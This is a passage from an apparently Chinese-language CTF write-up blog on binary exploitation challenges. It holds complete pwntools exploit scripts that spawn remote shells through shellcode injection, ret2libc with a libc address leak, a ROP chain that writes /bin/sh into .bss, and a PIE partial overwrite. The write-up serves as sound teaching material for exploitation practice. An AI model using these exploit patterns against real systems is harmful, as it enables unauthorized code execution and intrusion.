1280LL);\u7b49\u4ef7\u53d8\u6210sys_read<\/p>\n\n\n\n<p>\u4f46\u5982\u679c\uff0cbuf\u4e00\u5f00\u59cb\u88absyscall\u5360\u636e\u4e86\u4e24\u5b57\u8282\uff0c\u6240\u4ee5\u5c31\u8fd8\u5f97\u5728\u7b2c\u4e8c\u6b21\u4f20\u5165\u65f6\uff0c\u5c06\u90a3\u4e24\u4e2a\u7b2c\u4e00\u6b21\u4f20\u5165\u7684\u5b57\u8282\u7ed9\u8986\u76d6\u6389<\/p>\n\n\n\n<p>\u8fd9\u91ccexp\u4f7f\u7528\u7684\u662f\u7528nop\u6765\u8986\u76d6\uff0c\u5b9e\u9645\u4e0a\u7528b&#8217;a&#8217; *(2)\u4e5f\u662f\u53ef\u4ee5\u7684<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>#p = process('.\/attachment')<br>p = remote(\"gz.imxbt.cn\",20384)<br>context.arch='amd64'<br>\u200b<br># gdb.attach(p,'b $rebase(0x1255)')<br>\u200b<br>shellcode = asm(\"syscall\") # \u5373'\\x0f\\x05'<br>p.send(shellcode)<br>\u200b<br>shellcode = b'\\x90'*2 + asm(shellcraft.sh()) # '\\x90'\u4e3anop\u7684\u6c47\u7f16\uff0c\u8986\u76d6\u6389\u4e4b\u524d\u7684syscall<br>p.send(shellcode)<br>\u200b<br>p.interactive()<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u5979\u4e0e\u4f60\u7686\u5931 \uff08gets\u270c\uff09<\/h3>\n\n\n\n<p>\u539f\u672c\u60f3\u5c1d\u8bd5\u4f20\u5165shellcode\u7684<\/p>\n\n\n\n<p>\u4f46\u662f\u4ea4\u4e92\u5f88\u5947\u602a<\/p>\n\n\n\n<p>\u5148[*] Switching to interactive mode<\/p>\n\n\n\n<p>\u7136\u540e\u624d\u51famain\u51fd\u6570\u4f1a\u8f93\u51fa\u7684\u5185\u5bb9<\/p>\n\n\n\n<p>\u8f93\u5165\u4e00\u4e2a\u5355\u6307\u4ee4\u5c31\u4f1a\u76f4\u63a5EOF<\/p>\n\n\n\n<p>\u6240\u4ee5\u6700\u540e\u8fd8\u662f\u9009\u62e9\u4e86\u8001\u8001\u5b9e\u5b9e\u53bb\u6253r2libc<\/p>\n\n\n\n<p>exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>from LibcSearcher import *<br>\u200b<br>io = remote('gz.imxbt.cn',20283)<br># io=process(\".\/pwn\")<br>elf = ELF('.\/pwn')<br>libc= ELF('.\/libc.so.6')<br>\u200b<br>ret_add =0x000000000040101a<br>pop_rdi =0x0000000000401176<br>main_add =0x00000000004011DF<br>puts_got = elf.got&#91;'puts']<br>puts_plt = elf.plt&#91;'puts']<br>\u200b<br>print(\"Puts_got: \",hex(puts_got))<br>print(\"Puts_plt: \",hex(puts_plt))<br>\u200b<br>offset=0xa<br>\u200b<br>payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)<br>io.sendlineafter(b'do?', payload1)<br>puts_addr = u64(io.recvuntil(b'\\x7f')&#91;-6:].ljust(8,b'\\x00'))<br>print(\"Puts_addr: \",hex(puts_addr))<br>\u200b<br># libc = LibcSearcher('puts',puts_addr) &nbsp; # libc6_2.27-0ubuntu2_amd64<br>#<br># libc_base = puts_addr - libc.dump('puts')<br># system_add = libc_base + libc.dump('system')<br># bin_sh_add = libc_base + libc.dump('str_bin_sh')<br>\u200b<br>libc_base = puts_addr - libc.symbols&#91;'puts']<br>system_add = libc_base + libc.symbols&#91;'system']<br>bin_sh_add = libc_base + next(libc.search(b'\/bin\/sh'))<br>\u200b<br>payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)<br>\u200b<br>io.sendlineafter(b'do?', payload2)<br>\u200b<br>io.interactive()<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u5f7b\u5e95\u5931\u53bb\u5979 \uff08gets\u270c\uff09<\/h3>\n\n\n\n<p>checksec<\/p>\n\n\n\n<p>64\u4f4d<\/p>\n\n\n\n<p>main\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int __fastcall main(int argc, const char **argv, const char **envp)<br>{<br> &nbsp;_BYTE buf&#91;10]; \/\/ &#91;rsp+6h] &#91;rbp-Ah] BYREF<br>\u200b<br> &nbsp;init();<br> &nbsp;puts(\"Thank you for helping me find her.\");<br> &nbsp;puts(\"But she has left me for good this time, what should I do?\");<br> &nbsp;puts(\"By the way, I still don't know your name, could you tell me your name?\");<br> &nbsp;read(0, buf, 0x100uLL);<br> &nbsp;return 0;<br>}<\/code><\/pre>\n\n\n\n<p>\u6ca1\u627e\u5230\/bin\/sh<\/p>\n\n\n\n<p>\u90a3\u53ea\u80fd\u4f20\u8fdb\u53bb\u4e86<\/p>\n\n\n\n<p>\u6709\u770b\u5230system\u51fd\u6570<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int present()<br>{<br> &nbsp;return system(\"ls\");<br>}<\/code><\/pre>\n\n\n\n<p>\u627e\u5230system\u51fd\u6570\u5730\u5740<\/p>\n\n\n\n<p>ROPgadget \u627e\u627e\u524d\u4e09\u4e2a\u5bc4\u5b58\u5668<\/p>\n\n\n\n<p>rdi\uff0crsi\uff0crdx<\/p>\n\n\n\n<p>\u901a\u8fc7\u4f20\u53c2\uff0c\u5199\u5165bss\u6bb5\u5c31\u597d\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.bss:00000000004040A0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; public buffer<br>.bss:00000000004040A0 buffer &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;db &nbsp; &nbsp;? ;<br>.bss:00000000004040A1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040A2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040A3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040A4 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040A5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040A6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040A7 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040A8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040A9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040AA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040AB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040AC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040AD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040AE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040AF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040B0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040B1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040B2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040B3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040B4 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040B5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040B6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040B7 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040B8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040B9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040BA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040BB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040BC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040BD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040BE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040BF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040C0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040C1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040C2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040C3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040C4 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040C5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040C6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040C7 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040C8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040C9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040CA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040CB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040CC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040CD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040CE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040CF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040D0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040D1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040D2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040D3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040D4 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040D5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040D6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040D7 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;? ;<br>.bss:00000000004040D7 _bss &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ends<br>.bss:00000000004040D7<\/code><\/pre>\n\n\n\n<p>\u5199\u5165\u540e\uff0c\u518d\u5f04\u4e0a\u4e00\u4e2aread\u51fd\u6570<\/p>\n\n\n\n<p>\u4e09\u4e2a\u5bc4\u5b58\u5668\u4e00\u6b21\u4f20\u53c2\uff0c\u6210\u4e3a\u65b0\u6784\u9020\u7684read\u51fd\u6570\u7684\u53c2\u6570<\/p>\n\n\n\n<p>\u7136\u540e\u518d\u5229\u7528\u8fd9\u4e2aread\u8bfb\u53d6\u4f20\u5165\u7684\/bin\/sh<\/p>\n\n\n\n<p>\uff08read\u51fd\u6570\u548csystem\u51fd\u6570\u5229\u7528elf.plt[&#8216;\u51fd\u6570\u540d&#8217;]\u8fd9\u4e2a\u65b9\u6cd5\u66f4\u5feb\uff0c\u907f\u514d\u627e\u4e0d\u5230\uff0c\u627e\u4e86\u8001\u534a\u5929\u7684\u83dc\u9e21\u5982\u662f\u8bf4\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>\u200b<br>p = remote(\"gz.imxbt.cn\",20291)<br># p = process('.\/\u5f7b\u5e95\u5931\u53bb\u5979')<br>rdi = 0x0000000000401196<br>rsi = 0x00000000004011ad<br>rdx = 0x0000000000401265<br>ret = 0x000000000040101a<br>offset = 0xa+8<br>buf = 0x00000000004040A0<br>system = 0x000000000401080<br>read = 0x0000000000401090<br>\u200b<br>\u200b<br>payload = b'a' * (0xa + 8)<br>payload += p64(rdi) + p64(0)<br>payload += p64(rsi) + p64(buf)<br>payload += p64(rdx) + p64(0x10)<br>payload += p64(read) &nbsp;# read(0, buf, 0x10)<br>payload += p64(rdi) + p64(buf) + p64(system)<br>p.sendline(payload)<br>p.sendline(b'\/bin\/sh\\x00')<br>p.interactive()<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u6211\u628a\u5979\u4e22\u4e86 \uff08gets\u270c\uff09<\/h3>\n\n\n\n<p>checksec<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;*] 'C:\\\\Users\\\\26597\\\\Desktop\\\\pwn\u9644\u4ef6\\\\\u6211\u628a\u5979\u4e22\u4e86'<br> &nbsp; &nbsp;Arch: &nbsp; &nbsp; &nbsp; amd64-64-little<br> &nbsp; &nbsp;RELRO: &nbsp; &nbsp; &nbsp;Partial RELRO<br> &nbsp; &nbsp;Stack: &nbsp; &nbsp; &nbsp;No canary found<br> &nbsp; &nbsp;NX: &nbsp; &nbsp; &nbsp; &nbsp; NX enabled<br> &nbsp; &nbsp;PIE: &nbsp; &nbsp; &nbsp; &nbsp;No PIE (0x400000)<br> &nbsp; &nbsp;SHSTK: &nbsp; &nbsp; &nbsp;Enabled<br> &nbsp; &nbsp;IBT: &nbsp; &nbsp; &nbsp; &nbsp;Enabled<br> &nbsp; &nbsp;Stripped: &nbsp; No<\/code><\/pre>\n\n\n\n<p>\u666e\u901a64\u4f4d\u6808\u6ea2\u51fa<\/p>\n\n\n\n<p>\u6709\u63d0\u6743\u5b57\u7b26<\/p>\n\n\n\n<p>vuln\u51fd\u6570\u5b58\u5728\u6808\u6ea2\u51fa\u6f0f\u6d1e<\/p>\n\n\n\n<p>\u9700\u8981\u586b\u5145\u7684\u6570\u636e\u957f\u5ea6\u5f97\u77e5<\/p>\n\n\n\n<p>\u7528ELFplt[&#8220;system&#8221;]\u65b9\u6cd5\u627e\u771f\u5b9esystem\u5730\u5740<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>p = remote(\"gz.imxbt.cn\",20368)<br>elf = ELF(\".\/\u6211\u628a\u5979\u4e22\u4e86\")<br>\u200b<br>\u200b<br>offset = 0x70 + 8<br>\u200b<br>system= elf.plt&#91;\"system\"]<br>ret = 0x000000000040101a<br>pop_rdi = 0x0000000000401196<br>bin_sh = 0x0000000000402008<br>\u200b<br>print(hex(system))<br>\u200b<br>payload = b'a'*(offset) + p64(pop_rdi) &nbsp; +p64(bin_sh) + p64(ret)+ p64(system)<br>\u200b<br>p.sendline(payload)<br>\u200b<br>p.interactive()<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">GHCTF<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">Welcome come to the world of PWN<\/h2>\n\n\n\n<p>\u8fd9\u9898\u53ef\u4ee5\u548cACECTF\u4e2d\u7684PIE\u8fdb\u884c\u8054\u52a8<\/p>\n\n\n\n<p>ACECTF\u4e2d\u7684\u5c31\u662f\u4e00\u4e2a\u5148\u5bfc\u9898<\/p>\n\n\n\n<p>\u5f88\u9057\u61be\u6ca1\u80fd\u7b2c\u4e00\u65f6\u95f4\u610f\u8bc6\u5230\u8fd9\u4fe9\u5b9e\u9645\u4e0a\u662f\u4e00\u4e2a\u8003\u70b9<\/p>\n\n\n\n<p>checksec<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;*] 'C:\\\\Users\\\\26597\\\\Desktop\\\\pwn\u9644\u4ef6\\\\GHpwn1'<br> &nbsp; &nbsp;Arch: &nbsp; &nbsp; &nbsp; amd64-64-little<br> &nbsp; &nbsp;RELRO: &nbsp; &nbsp; &nbsp;Partial RELRO<br> &nbsp; &nbsp;Stack: &nbsp; &nbsp; &nbsp;No canary found<br> &nbsp; &nbsp;NX: &nbsp; &nbsp; &nbsp; &nbsp; NX enabled<br> &nbsp; &nbsp;PIE: &nbsp; &nbsp; &nbsp; &nbsp;PIE enabled<br> &nbsp; &nbsp;Stripped: &nbsp; No<\/code><\/pre>\n\n\n\n<p>IDA\u6253\u5f00<\/p>\n\n\n\n<p>\u53cd\u7f16\u8bd1\u7ed3\u679c\u5f88\u660e\u663e<\/p>\n\n\n\n<p>main\u51fd\u6570\u5c31\u6267\u884c\u4e24\u4e2a\u4e3b\u8981\u51fd\u6570<\/p>\n\n\n\n<p>\u8f93\u51fa\u51fd\u6570\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684<\/p>\n\n\n\n<p>\u5168\u662fput\u8f93\u51fa<\/p>\n\n\n\n<p>func1\u51fd\u6570\u91cc\u9762\u5b58\u5728\u5f88\u660e\u663e\u7684\u6808\u6ea2\u51fa\u6f0f\u6d1e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssize_t func1()<br>{<br> &nbsp;_BYTE buf&#91;32]; \/\/ &#91;rsp+0h] &#91;rbp-20h] BYREF<br>\u200b<br> &nbsp;return read(0, buf, 0x40uLL);<br>}<\/code><\/pre>\n\n\n\n<p>\u5f88\u7b80\u5355\u7684\u6808\u6ea2\u51fa<\/p>\n\n\n\n<p>\u770b\u51fd\u6570\u8fd8\u80fd\u53d1\u73b0\u5b58\u5728backdoor\u51fd\u6570<\/p>\n\n\n\n<p>\u76f4\u63a5\u7ed9\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int backdoor()<br>{<br> &nbsp;return system(\"\/bin\/sh\");<br>}<\/code><\/pre>\n\n\n\n<p>\u5f88\u660e\u663e\u4e86<\/p>\n\n\n\n<p>\u4e00\u822c\u60c5\u51b5\u5c31\u662f\u6ea2\u51fa\u5b57\u7b26\u52a0\u540e\u95e8\u51fd\u6570\u5730\u5740\u5c31\u597d\u4e86<\/p>\n\n\n\n<p>\u4f46\u662f\u5b58\u5728PIE\u4fdd\u62a4<\/p>\n\n\n\n<p>PIE\u4fdd\u62a4\u7684\u6548\u679c\u662f\u4ec0\u4e48<\/p>\n\n\n\n<p>\u53c2\u8003ACECTF\u4e2dPIE\u9898\u76ee<\/p>\n\n\n\n<p>PIE\u7684\u5b58\u5728\u8ba9\u6211\u4eec\u62ff\u4e0d\u5230\u8fdc\u7a0b\u4ea4\u4e92\u7684\u51fd\u6570\u5b9e\u9645\u5730\u5740\uff0c\u5c31\u6ca1\u6cd5\u5b8c\u6210\u63d0\u6743\u64cd\u4f5c<\/p>\n\n\n\n<p>\u800c\u5185\u5b58\u5206\u9875\u673a\u5236\u5b58\u5728\u95ee\u9898\uff1a\u7a0b\u5e8f\u5730\u5740\u6700\u540e <code>3<\/code> \u4e2a <code>16<\/code> \u8fdb\u5236\u4f4d\u662f\u4e0d\u4f1a\u6539\u53d8\u7684<\/p>\n\n\n\n<p>\u8fd9\u4e2a\u5730\u65b9\u53ef\u53c2\u8003ACECTF\uff0cACECTF\u5bf9\u6b64\u505a\u4e86\u5f88\u4e0d\u9519\u7684\u5f15\u5bfc<\/p>\n\n\n\n<p>\u90a3\u5012\u56de\u6b64\u5904<\/p>\n\n\n\n<p>\u6ea2\u51fa\u62ff\u5230<\/p>\n\n\n\n<p>\u5df2\u77e5\u56e0\u4e3a\u5185\u5b58\u5206\u9875\u673a\u5236\uff0c\u7a0b\u5e8f\u5730\u5740\u540e\u4e09\u4f4d\u4e0d\u53d8<\/p>\n\n\n\n<p>\u800c\u5173\u952e\u7684backdoor\u51fd\u6570\u5730\u5740<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.text:00000000000009C1 ; int backdoor()<br>.text:00000000000009C1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; public backdoor<br>.text:00000000000009C1 backdoor &nbsp; &nbsp; &nbsp; &nbsp;proc near<br>.text:00000000000009C1 ; __unwind {<br>.text:00000000000009C1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;rbp<br>.text:00000000000009C2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; rbp, rsp<br>.text:00000000000009C5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lea &nbsp; &nbsp; rdi, command &nbsp;  ; \"\/bin\/sh\"<br>.text:00000000000009CC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;_system<br>.text:00000000000009D1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; nop<br>.text:00000000000009D2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; rbp<br>.text:00000000000009D3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; retn<br>.text:00000000000009D3 ; } \/\/ starts at 9C1<br>.text:00000000000009D3 backdoor &nbsp; &nbsp; &nbsp; &nbsp;endp<\/code><\/pre>\n\n\n\n<p>\u4e3a\u4e86\u80fd\u591f\u4f7f\u7528p8\u65b9\u6cd5\uff0c\u6211\u4eec\u91c7\u7528\u540e\u4e24\u4f4d\uff0c\u82e5\u91c7\u7528\u540e\u4e09\u4f4d\u5219\u4f1a\u4f7fp8\u65b9\u6cd5\u62a5\u9519<\/p>\n\n\n\n<p>\u4e0d\u77e5\u9053\u662f\u4e0d\u662fPIE\u90fd\u9ed8\u8ba4\u4f7f\u7528p8\u65b9\u6cd5\uff0c\u65e5\u540e\u518d\u8fdb\u884c\u9a8c\u8bc1<\/p>\n\n\n\n<p>exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>p = remote('node6.anna.nssctf.cn',22606)<br>payload = b'a'*0x28 + p8(0xC5)<br>p.send(payload)<br>p.interactive()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">ret2libc1<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;*] 'C:\\\\Users\\\\26597\\\\Desktop\\\\ghpwn2'<br> &nbsp; &nbsp;Arch: &nbsp; &nbsp; &nbsp; amd64-64-little<br> &nbsp; &nbsp;RELRO: &nbsp; &nbsp; &nbsp;Partial RELRO<br> &nbsp; &nbsp;Stack: &nbsp; &nbsp; &nbsp;No canary found<br> &nbsp; &nbsp;NX: &nbsp; &nbsp; &nbsp; &nbsp; NX enabled<br> &nbsp; &nbsp;PIE: &nbsp; &nbsp; &nbsp; &nbsp;No PIE (0x400000)<br> &nbsp; &nbsp;Stripped: &nbsp; No<\/code><\/pre>\n\n\n\n<p>\u76f4\u63a5\u586b\u677f\u5b50\u662f\u4e0d\u884c\u7684\uff0c\u6ca1\u529e\u6cd5\u76f4\u63a5\u8fdb\u884cret2libc<\/p>\n\n\n\n<p>\u9644\u4ef6\u91cc\u9762\u9644\u5e26\u7684\u51fd\u6570\u5f88\u591a<\/p>\n\n\n\n<p>\u6328\u7740\u9006\u5411\u5176\u903b\u8f91<\/p>\n\n\n\n<p>mian\u51fd\u6570\u91cc\u9762\u52a0\u8f7d\u4e86\u83dc\u5355\u51fd\u6570<\/p>\n\n\n\n<p>\u901a\u8fc7switch\u8bed\u53e5\u8fdb\u884c\u9009\u62e9\u9879<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int __fastcall main(int argc, const char **argv, const char **envp)<br>{<br> &nbsp;init(argc, argv, envp);<br> &nbsp;while ( 1 )<br>  {<br> &nbsp; &nbsp;menu();<br> &nbsp; &nbsp;switch ( (unsigned int)read_count() )<br> &nbsp;  {<br> &nbsp; &nbsp; &nbsp;case 1u:<br> &nbsp; &nbsp; &nbsp; &nbsp;flower();<br> &nbsp; &nbsp; &nbsp; &nbsp;break;<br> &nbsp; &nbsp; &nbsp;case 2u:<br> &nbsp; &nbsp; &nbsp; &nbsp;books();<br> &nbsp; &nbsp; &nbsp; &nbsp;break;<br> &nbsp; &nbsp; &nbsp;case 3u:<br> &nbsp; &nbsp; &nbsp; &nbsp;hell_money();<br> &nbsp; &nbsp; &nbsp; &nbsp;break;<br> &nbsp; &nbsp; &nbsp;case 4u:<br> &nbsp; &nbsp; &nbsp; &nbsp;clothing();<br> &nbsp; &nbsp; &nbsp; &nbsp;break;<br> &nbsp; &nbsp; &nbsp;case 5u:<br> &nbsp; &nbsp; &nbsp; &nbsp;shop();<br> &nbsp; &nbsp; &nbsp; &nbsp;break;<br> &nbsp; &nbsp; &nbsp;case 6u:<br> &nbsp; &nbsp; &nbsp; &nbsp;check_money();<br> &nbsp; &nbsp; &nbsp; &nbsp;break;<br> &nbsp; &nbsp; &nbsp;case 7u:<br> &nbsp; &nbsp; &nbsp; &nbsp;see_it();<br> &nbsp; &nbsp; &nbsp; &nbsp;break;<br> &nbsp; &nbsp; &nbsp;default:<br> &nbsp; &nbsp; &nbsp; &nbsp;puts(\"Invalid choose\");<br> &nbsp; &nbsp; &nbsp; &nbsp;break;<br> &nbsp;  }<br>  }<br>}<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u770b\u5230\u5b58\u57287\u4e2a\u9009\u9879<\/p>\n\n\n\n<p>\u4f46\u662f\u5728\u83dc\u5355\u51fd\u6570\u4e2d\uff0c\u53ea\u7ed9\u51fa\u4e866\u4e2aputs\u5185\u5bb9\u5bf9\u5e94\u524d\u516d\u4e2a\u9009\u9879<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int menu()<br>{<br> &nbsp;puts(\"Welcome to shop, what do you buy?\");<br> &nbsp;puts(\"1.flowers\");<br> &nbsp;puts(\"2.books\");<br> &nbsp;puts(\"3.hell money\");<br> &nbsp;puts(\"4.clothing\");<br> &nbsp;puts(\"5.buy my shop\");<br> 